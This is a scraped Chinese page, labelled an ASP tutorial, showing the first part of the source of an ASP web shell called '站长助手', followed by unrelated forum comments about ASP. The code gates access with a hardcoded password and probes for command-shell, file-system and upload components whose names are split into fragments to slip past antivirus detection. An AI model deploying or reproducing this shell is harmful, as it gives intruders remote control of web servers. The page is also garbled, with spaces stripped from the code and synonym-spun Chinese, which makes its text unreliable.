ASP教程之ASP站长助手源代码

结论：和PHP一样，ASP简单而易于维护，很适合小型网站应用，通过DCOM和MTS技术，ASP甚至还可以完成小规模的企业应用，但ASP的致命缺点就是不支持跨平台的系统，在大型项目开发和维护上非常困难。源代码|站长|源代码|站长<%
Server.ScriptTimeout=50000
Response.Buffer=True
OnErrorResumeNext
ApplicationName="站长助手6加强版"
UserPass="123456"上岸暗码
URL=Request.ServerVariables("URL")
ServerIP=Request.ServerVariables("LOCAL_ADDR")
Action=Request("Action")
RootPath=Server.MapPath(".")
WWWRoot=Server.MapPath("/")
FolderPath=Request("FolderPath")
FName=Request("FName")
BackUrl="<metahttp-equiv=refreshcontent=2;URL=?Action=ShowFile>"

IfSession("webadmin")UserPassThen
IfRequest.Form("Pass")""Then
IfRequest.Form("Pass")=UserPassThen
Session("webadmin")=UserPass
Response.RedirectURL
Else
response.write"考证失利！"
EndIf
Else
SI="<centerstyle=font-size:12px><br><br>接待利用ASP站长助手<br><br>"
SI=SI&"<formaction="&URL&"method=post>"
SI=SI&"暗码：<inputname=Passtype=passwordsize=15>"
SI=SI&"<inputtype=submitvalue=登录></form></center>"
Response.WriteSI
EndIf
Response.End
EndIf

subShowErr()
IfErrThen
Response.Write"<br><ahref=javascript:history.back()><br>"&Err.Description&"</a><br>"
Err.Clear:Response.Flush
EndIf
endsub


DimObT(13,2)
ObT(0,0)="Sc"&DEfd&"rip"&DEfd&"ting"&DEfd&".F"&DEfd&"ileS"&DEfd&"yste"&DEfd&"mObj"&DEfd&"ect"
ObT(0,2)="文件操纵组件"
ObT(1,0)="w"&DEfd&"sc"&DEfd&"ri"&DEfd&"pt.s"&DEfd&"he"&DEfd&"ll"
ObT(1,2)="命令行实行组件"
ObT(2,0)="ADOX.Catalog"
ObT(2,2)="ACCESS建库组件"
ObT(3,0)="JRO.JetEngine"
ObT(3,2)="ACCESS紧缩组件"
ObT(4,0)="Scrip"&DEfd&"ting"&DEfd&".D"&DEfd&"icti"&DEfd&"onary"
ObT(4,2)="数据流上传帮助组件"
ObT(5,0)="Adodb.connection"
ObT(5,2)="数据库毗连组件"
ObT(6,0)="Ado"&DEfd&"d"&DEfd&"b"&DEfd&".S"&DEfd&"tre"&DEfd&"am"
ObT(6,2)="数据流上传组件"
ObT(7,0)="SoftArtisans.FileUp"
ObT(7,2)="SA-FileUp文件上传组件"
ObT(8,0)="LyfUpload.UploadFile"
ObT(8,2)="刘云峰文件上传组件"
ObT(9,0)="Persits.Upload.1"
ObT(9,2)="ASPUpload文件上传组件"
ObT(10,0)="JMail.SmtpMail"
ObT(10,2)="JMail邮件收发组件"
ObT(11,0)="CDONTS.NewMail"
ObT(11,2)="假造SMTP发信组件"
ObT(12,0)="SmtpMail.SmtpMail.1"
ObT(12,2)="SmtpMail发信组件"
ObT(13,0)="Microsoft.XMLHTTP"
ObT(13,2)="数据传输组件"

Fori=0To13
SetT=Server.CreateObject(ObT(i,0))
If-2147221005ErrThen
IsObj=True
Else
IsObj=false
Err.Clear
EndIf
SetT=Nothing
ObT(i,1)=IsObj
Next


FunctionRePath(S)
RePath=Replace(S,"","")
EndFunction
</p>

[1][2][3][4][5][6][7][8][9][10]下一页>>

国内有些大的CRM厂商的ASP就写得不错.无论是概念还是它里面用JAVASCRIPT的能力.并不是说现在的程序员用了ASP.NET来写程序就可以说自己高档了

ASP（ActiveServerPages）是Microsfot公司1996年11月推出的WEB应用程序开发技术，它既不是一种程序语言，也不是一种开发工具，而是一种技术框架，不须使用微软的产品就能编写它的代码，能产生和执行动态、交互式、高效率的站占服务器的应用程序。

我想问如何掌握学习节奏(先学什么再学什么)最好详细点?

以上是语言本身的弱点，在功能方面ASP同样存在问题，第一是功能太弱，一些底层操作只能通过组件来完成，在这点上是远远比不上PHP/JSP，其次就是缺乏完善的纠错/调试功能，这点上ASP/PHP/JSP差不多。

ASP的语言不仅仅只是命令格式差不多，而是包含在<%%>之内的命令完全就是VB语法。虽然ASP也是做为单独的一个技术来提出的，但他就是完全继承了VB所有的功能。

ASP也是这几种脚本语言中最简单易学的开发语言。但ASP也是这几种语言中唯一的一个不能很好支持跨平台的语言。　　因为ASP脚本语言非常简单，因此其代码也简单易懂，结合HTML代码，可快速地完成网站的应用程序。

我就感觉到ASP和一些常用的数据库编程以及软件工程方面的思想是非常重要的。我现在也在尝试自己做网页，这其中就用到了ASP，我想它的作用是可想而知的。

仓酷云

我可以结合自己的经验大致给你说一说，希望对你有所帮助，少走些弯路。